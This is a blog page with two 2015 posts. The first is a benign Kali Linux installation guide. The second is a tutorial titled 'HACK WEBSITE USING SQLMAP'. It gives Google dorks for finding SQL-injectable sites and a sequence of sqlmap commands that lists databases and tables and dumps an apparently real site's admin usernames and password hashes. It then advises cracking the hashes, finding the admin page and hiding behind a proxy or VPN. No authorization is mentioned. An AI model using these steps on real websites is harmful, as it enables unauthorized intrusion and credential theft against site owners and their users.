Showing posts with label kali linux. Show all posts
Showing posts with label kali linux. Show all posts

Wednesday, 6 May 2015

Getting Started With Kali Linux

This post is for so many of the people in the community asking for and having problems installing Kali Linux.
Here is a guide to getting started with Kali Linux. First of all, there are two ways to install and use Kali Linux, a complete installation, or in some Virtual Box like VMware or Virtual box. You can download VMware or Virtual Box by clicking on their respective names. I personally prefer Virtual Box because it has almost all the features of VMware and is a freeware (OMFG ITS FREE!). And download Kali from here.
There is only difference of a few steps; that will be added for Virtual Machine users. So, I’m just going to demonstrate for Virtual Box users.
Now a very important step, you have to enable visualization from your BIOS. This is different for all motherboards, so Google how to do it for your specific motherboard. Then just follow the screenshots below.
Now that you have Virtual Box and Kali Linux, it’s time to get things going. Open Virtual Box, it’ll look something like this, without the Virtual Machines at the left.
1
For creating a VM, click on “New”,
Image 4
Name it whatever you want to, then click “Next”. You will be prompted to select the amount of RAM you want to reserve for your VM.
Image 5
Now, it’ll ask for hard drive space allocation, just leave at the default option, “Next”!
Image 6
Here, select “VHD”, “Next”,
Image 7
Select “Dynamically Allocated”,
Image 8
Here, select the desired size of the Virtual Hard disk,
Image 9
You have successfully created a VM. Bye!
Image 10
Just kidding…. there’s still a lot.
Now, click on settings > storage > click on the cd image at the right hand corner, as shown. Now browse to your downloaded image. Click OK.
Image 11
It’s finally complete. Click start.
Image 12
For normal (non-VM) users follow along from here. I will be explaining all the ways you can install and use Kali.
First one is “Live” this option does not save any changes to your Kali account… it’s like uninstalling Kali every time you shut down.
Then, there’s persistence, this one is exactly opposite to the former, this saves all your settings and data.
Now for the most important one for non VM users (at least I think so :3). A prefatory note – please make a bootable flash drive (more than 8gigs is recommended) with the Kali Linux .iso that you download; persistence and encrypted persistence will only work on flash drives.
For persistence, there are many ways to do this, I’m going to describe the Linux method.
Type “gparted /dev/sdb”, you will find “/dev/sdb1 /dev/sdb2” and “unallocated area” right click within the unallocated section, then select new from the drop-down menu that appears. Create a Primary Partition, choose “ext 4” as the file system, and label the partition with the word: “persistence “. Click on “Add” then “Apply” and let the computer format the partition in “ext 4” with the label persistence. When the process is completed open up a terminal window and enter the following:
“mkdir -p /mnt/my_usb”
“mount /dev/sdb3 /mnt/my_usb”
“echo “/ union” > /mnt/my_usb/persistence.conf”
“umount /dev/sdb3”
Reboot and start the machine with Kali and select “Live USB Persistence”.
For encrypted persistence, it’s a very long process… so… will do that in a later post.
Now the last one, install… it’s just as it sounds, it permanently installs kali Linux… this is for people who wish to use kali as their daily driver.
Image 13
Now, that you have booted into kali, here are some useful things you could do starting up and some fixes for some common problems.
First, let’s update & upgrade our installation,
Type “apt-get clean && apt-get update && apt-get upgrade –y”.
Another major problem I’ve noticed is the sound is always muted, to fix this, open a terminal window, type “apt-get install alsa-utils –y”, then right click on the small volume icon on the top right corner and select Sound Preferences, Change the Output volume slider to ON. Done!
Now, go do your own thing in Kali, explore, hack, test, crack hashes and burn the sh*t out of your CPU!! while I go be a genius billionaire playboy philanthropist. (yes I’m part time Iron Man) (Jarvis runs on UNIX, don’t you?… He says yes in a very rhetorical fashion).

Tuesday, 5 May 2015

HACK WEBSITE USING SQLMAP | KALI LINUX - BACKTRACK

In this tutorial I am going to show you how to hack a website with sqlmap on Kali Linux.

Introduction
[*]Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. This is all about sqlmap. 
Now follow my steps to hack a website using sqlmap.

Step 1
[*]Find Sql vulnerable site. 
I will give you some dorks which may help you finding websites vulnerable to Sql Injection.

Code:
]inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

Step 2
[*]Test if the website is vulnerable
]To test if the website is vulnerable to Sqli just add " " at the end of the url. Like on the image below:

[Image: image1_zps1ba326d9.jpg]

And press enter. If error appears like on the image below it means the website is vulnerable. 

[Image: image2_zpsffcf021f.jpg]


(I'm not going to explain advanced ways to check the website for sql vulnerabiities because there are plenty of tutuorials about that on CHF)


Ok, so we found the target. Now let's go ahed.

Step 3
[*]Injection
Type this command in the terminal and hit enter like on the image below:

Code:
sqlmap -u "www.yourtaget.com/page.php?id=1" --dbs
(Insert the url that we checked for Sql Vulnerability)
Image has been scaled down 6% (700x460). Click this bar to view original image (741x486). Click image to open in new window.
[Image: image3_zps85f6aa32.jpg]


Now we will get the database name of the website.

Image has been scaled down 6% (700x460). Click this bar to view original image (741x486). Click image to open in new window.
[Image: image4_zps29fa4d64.jpg]


We got the two database ohridhot_ohrid
and information_schema we will select ohridhot_ohrid
database.

Let's get the tables of that database.
For that we need to enter this command on terminal and after that hit Enter. 

Code:
sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid --tables

Image has been scaled down 4% (700x49). Click this bar to view original image (723x50). Click image to open in new window.
[Image: image5_zpsf83a99b1.jpg]


Now we will get the tables list which is stored in the database we selected.

Image has been scaled down 3% (700x257). Click this bar to view original image (717x263). Click image to open in new window.
[Image: image6_zps002b2bf8.jpg]


Now lets grab the columns from the admin table , type on terminal:

Code:
sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin --columns

Now we got the columns and we got user and pass like on the image below

Image has been scaled down 1% (700x130). Click this bar to view original image (703x130). Click image to open in new window.
[Image: image7_zpsfb061ca9.jpg]


Now let's grab the user and pass

Code:
sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin -C user,pass --dump

[Image: image8_zpsc0a432ae.jpg]

Now we have to decrypt the hash , there are also tutorial about hash decryption on CHF.
The only thing which is left now is to find the admin page and remember to use Proxy/Vpn !

[*]Directory of sqlmap on Kali Linux
Places -> Computer -> Filesystem -> usr -> share -> sqlmap -> output


That's all , I hope you enjoyed the tutorial.